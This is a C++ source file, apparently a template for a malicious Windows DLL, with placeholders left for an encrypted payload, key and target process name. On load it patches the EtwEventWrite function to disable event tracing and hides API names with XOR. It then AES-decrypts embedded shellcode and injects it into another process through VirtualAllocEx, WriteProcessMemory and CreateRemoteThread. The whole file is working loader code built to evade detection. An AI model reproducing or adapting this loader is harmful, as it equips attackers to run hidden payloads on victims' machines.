template.cpp 4.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <tlhelp32.h>
  6. #include <wincrypt.h>
  7. #pragma comment (lib, "crypt32.lib")
  8. #pragma comment (lib, "advapi32")
  9. #include <psapi.h>
  10. LPVOID (WINAPI * Virt_Alloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  11. char XOR_VARIABLE []= "XOR_KEY";
  12. unsigned char fRandom6 []=VIRALO};
  13. unsigned char Random9[]=PROCY};
  14. int aRandom1(char * eRandom5, unsigned int eRandom5_len, char * key, size_t keylen) {
  15. HCRYPTPROV hProv;
  16. HCRYPTHASH hHash;
  17. HCRYPTKEY hKey;
  18. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  19. return -1;
  20. }
  21. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  22. return -1;
  23. }
  24. if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
  25. return -1;
  26. }
  27. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  28. return -1;
  29. }
  30. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, eRandom5, &eRandom5_len)){
  31. return -1;
  32. }
  33. CryptReleaseContext(hProv, 0);
  34. CryptDestroyHash(hHash);
  35. CryptDestroyKey(hKey);
  36. return 0;
  37. }
  38. int bRandom2(const char *procname) {
  39. HANDLE hProcSnap;
  40. PROCESSENTRY32 pe32;
  41. int pid = 0;
  42. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  43. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  44. pe32.dwSize = sizeof(PROCESSENTRY32);
  45. if (!Process32First(hProcSnap, &pe32)) {
  46. CloseHandle(hProcSnap);
  47. return 0;
  48. }
  49. while (Process32Next(hProcSnap, &pe32)) {
  50. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  51. pid = pe32.th32ProcessID;
  52. break;
  53. }
  54. }
  55. CloseHandle(hProcSnap);
  56. return pid;
  57. }
  58. int cRandom3(HANDLE hProc, unsigned char * eRandom5, unsigned int eRandom5_len) {
  59. LPVOID pRemoteCode = NULL;
  60. HANDLE hThread = NULL;
  61. pRemoteCode = VirtualAllocEx(hProc, NULL, eRandom5_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  62. WriteProcessMemory(hProc, pRemoteCode, (PVOID)eRandom5, (SIZE_T)eRandom5_len, (SIZE_T *)NULL);
  63. hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  64. if (hThread != NULL) {
  65. WaitForSingleObject(hThread, 500);
  66. CloseHandle(hThread);
  67. return 0;
  68. }
  69. return -1;
  70. }
  71. void gRandom7(char * tada, int tada_len, char * XOR_VARIABLE, size_t XOR_VARIABLE_len) {
  72. int r;
  73. r = 0;
  74. for (int i = 0; i < tada_len; i++) {
  75. if (r == XOR_VARIABLE_len - 1) r = 0;
  76. tada[i] = tada[i] ^ XOR_VARIABLE[r];
  77. r++;
  78. }
  79. }
  80. extern __declspec(dllexport) int Go(void);
  81. int Go(void) {
  82. void * Random8_mem;
  83. BOOL rv;
  84. HANDLE th;
  85. DWORD oldprotect = 0;
  86. int pid = 0;
  87. HANDLE hProc = NULL;
  88. char dRandom4 []=KEYVALUE
  89. unsigned char eRandom5[] =PAYVAL
  90. unsigned int eRandom5_len = sizeof(eRandom5);
  91. void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
  92. VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
  93. #ifdef _WIN64
  94. memcpy(addr, "\x48\x33\xc0\xc3", 4);
  95. #else
  96. memcpy(addr, "\x33\xc0\xc2\x14\x00", 5);
  97. #endif
  98. VirtualProtect(addr, 4096, oldprotect, &oldprotect);
  99. FreeConsole;
  100. gRandom7((char *) fRandom6, sizeof (fRandom6), XOR_VARIABLE, sizeof(XOR_VARIABLE));
  101. Virt_Alloc= GetProcAddress(GetModuleHandle("kernel32.dll"), fRandom6);
  102. Random8_mem = Virt_Alloc(0, eRandom5_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  103. aRandom1((char *) eRandom5, eRandom5_len, dRandom4, sizeof(dRandom4));
  104. RtlMoveMemory(Random8_mem, eRandom5, eRandom5_len);
  105. rv = VirtualProtect(Random8_mem, eRandom5_len, PAGE_EXECUTE_READ, &oldprotect);
  106. gRandom7((char *) Random9, sizeof (Random9), XOR_VARIABLE, sizeof(XOR_VARIABLE));
  107. pid = bRandom2(Random9);
  108. if (pid) {
  109. hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  110. PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  111. FALSE, (DWORD) pid);
  112. if (hProc != NULL) {
  113. cRandom3(hProc, eRandom5, eRandom5_len);
  114. CloseHandle(hProc);
  115. }
  116. }
  117. return 0;
  118. }
  119. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
  120. switch ( fdwReason ) {
  121. case DLL_PROCESS_ATTACH:
  122. Go();
  123. break;
  124. case DLL_THREAD_ATTACH:
  125. break;
  126. case DLL_THREAD_DETACH:
  127. break;
  128. case DLL_PROCESS_DETACH:
  129. break;
  130. }
  131. return TRUE;
  132. }